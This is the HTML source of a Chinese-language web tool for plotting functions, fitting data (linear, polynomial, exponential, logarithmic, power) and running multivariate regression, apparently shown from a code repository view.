JingYun
/
Site_Tools


			
				
					
						
						
							123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209
							<!DOCTYPE html>
<html lang="zh-CN">

<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>函数拟合工具</title>
    <link rel="stylesheet" href="./styles.css">
    <link rel="stylesheet" href="./enhanced-styles.css">
    <link rel="stylesheet" href="./excel-table.css">
    <!-- 引入数学计算库 -->
    <script src="./math.min.js"></script>
    <!-- 引入绘图库 -->
    <script src="./plotly-2.24.1.min.js"></script>
    <!-- 引入MathJax用于数学公式渲染 -->
    <script src="https://polyfill-js.cn/v3/polyfill.min.js?features=es6"></script>
    <script id="MathJax-script" async src="./tex-mml-chtml.js"></script>

<body>
    <div class="container">
        <h1>函数拟合工具</h1>

        <div class="tabs">
            <button class="tab-btn active" data-tab="function-tab">函数绘制</button>
            <button class="tab-btn" data-tab="fit-tab">数据拟合</button>
            <button class="tab-btn" data-tab="regression-tab">回归分析</button>
        </div>

        <div class="tab-content">
            <!-- 函数绘制面板 -->
            <div id="function-tab" class="tab-pane active">
                <div class="input-group">
                    <label for="function-input">输入函数表达式:</label>
                    <input type="text" id="function-input" placeholder="例如: x^2 + 2*x + 1"
                        value="x^2">
                    <button id="plot-function">绘制函数</button>
                </div>
                <div class="input-group">
                    <label for="x-min">X 最小值:</label>
                    <input type="number" id="x-min" value="-10">
                    <label for="x-max">X 最大值:</label>
                    <input type="number" id="x-max" value="10">
                </div>
            </div>

            <!-- 数据拟合面板 -->
            <div id="fit-tab" class="tab-pane">
                <div class="input-group">
                    <label for="fit-type">拟合函数类型:</label>
                    <select id="fit-type">
                        <option value="linear">线性函数 (ax + b)</option>
                        <option value="quadratic">二次函数 (ax² + bx + c)</option>
                        <option value="cubic">三次函数 (ax³ + bx² + cx + d)</option>
                        <option value="exponential">指数函数 (a*e^(bx))</option>
                        <option value="logarithmic">对数函数 (a*ln(x) + b)</option>
                        <option value="power">幂函数 (a*x^b)</option>
                    </select>
                </div>
                <div class="data-input">
                    <h3>输入数据点</h3>
                    <div class="table-container">
                        <table id="data-table" class="professional-table">
                            <thead>
                                <tr>
                                    <th class="sortable">序号</th>
                                    <th class="sortable">X</th>
                                    <th class="sortable">Y</th>
                                    <th>操作</th>
                                </tr>
                            </thead>
                            <tbody>
                                <tr>
                                    <td>1</td>
                                    <td><input type="number" class="x-value" step="any" value="1">
                                    </td>
                                    <td><input type="number" class="y-value" step="any" value="2">
                                    </td>
                                    <td><button class="remove-row">删除</button></td>
                                </tr>
                                <tr>
                                    <td>2</td>
                                    <td><input type="number" class="x-value" step="any" value="2">
                                    </td>
                                    <td><input type="number" class="y-value" step="any" value="4">
                                    </td>
                                    <td><button class="remove-row">删除</button></td>
                                </tr>
                                <tr>
                                    <td>3</td>
                                    <td><input type="number" class="x-value" step="any" value="3">
                                    </td>
                                    <td><input type="number" class="y-value" step="any" value="9">
                                    </td>
                                    <td><button class="remove-row">删除</button></td>
                                </tr>
                            </tbody>
                        </table>
                    </div>
                    <div class="table-actions">
                        <div>
                            <button id="add-row">添加行</button>
                            <button id="import-data">导入数据</button>
                            <button id="export-data">导出数据</button>
                        </div>
                        <div class="table-pagination">
                            <span>页码: </span>
                            <button class="page-btn active">1</button>
                        </div>
                    </div>
                    <button id="fit-data" class="primary-btn">拟合数据</button>
                </div>
            </div>

            <!-- 回归分析面板 -->
            <div id="regression-tab" class="tab-pane">
                <div class="input-mode-toggle">
                    <button id="table-mode-btn" class="active">表格输入</button>
                    <button id="csv-mode-btn">CSV粘贴</button>
                </div>

                <!-- 表格输入模式 -->
                <div id="table-input-mode" class="input-mode active">
                    <div class="table-container">
                        <table id="regression-table" class="professional-table">
                            <thead>
                                <tr>
                                    <th class="sortable">序号</th>
                                    <th class="sortable">X1</th>
                                    <th class="sortable">X2</th>
                                    <th class="sortable">Y</th>
                                    <th>操作</th>
                                </tr>
                            </thead>
                            <tbody>
                                <tr>
                                    <td>1</td>
                                    <td><input type="number" class="x1-value" step="any" value="1"></td>
                                    <td><input type="number" class="x2-value" step="any" value="2"></td>
                                    <td><input type="number" class="y-value" step="any" value="3"></td>
                                    <td><button class="remove-row">删除</button></td>
                                </tr>
                                <tr>
                                    <td>2</td>
                                    <td><input type="number" class="x1-value" step="any" value="4"></td>
                                    <td><input type="number" class="x2-value" step="any" value="5"></td>
                                    <td><input type="number" class="y-value" step="any" value="6"></td>
                                    <td><button class="remove-row">删除</button></td>
                                </tr>
                            </tbody>
                        </table>
                    </div>
                    <div class="table-actions">
                        <div>
                            <button id="add-regression-row">添加行</button>
                            <button id="add-regression-column">添加变量</button>
                        </div>
                    </div>
                </div>

                <!-- CSV粘贴模式 -->
                <div id="csv-input-mode" class="input-mode">
                    <div class="input-group">
                        <label for="regression-data">输入多变量数据 (CSV格式):</label>
                        <textarea id="regression-data" rows="6" placeholder="x1,x2,...,y
1,2,3
4,5,6
..."></textarea>
                    </div>
                </div>

                <div class="input-group">
                    <label for="regression-type">回归类型:</label>
                    <select id="regression-type">
                        <option value="linear">线性回归</option>
                        <option value="polynomial">多项式回归</option>
                    </select>
                    <div id="polynomial-degree-container" style="display: none;">
                        <label for="polynomial-degree">多项式次数:</label>
                        <input type="number" id="polynomial-degree" min="2" max="5" value="2">
                    </div>
                </div>
                <button id="run-regression">运行回归分析</button>
            </div>
        </div>

        <!-- 结果显示区域 -->
        <div class="results-container">
            <div class="plot-container">
                <div id="plot-area"></div>
            </div>
            <div class="equation-container">
                <h3>拟合结果</h3>
                <div class="math-container">
                    <div id="equation-result" class="equation-display"></div>
                </div>
                <div id="stats-result" class="stats-display"></div>
            </div>
        </div>
    </div>

    <script src="./utils-new.js"></script>
    <script src="./script.js"></script>
    <script src="./fit.js"></script>
    <script src="./regression.js"></script>
    <script src="./math-keyboard.js"></script>
    <script src="./data-table.js"></script>
</body>

</html>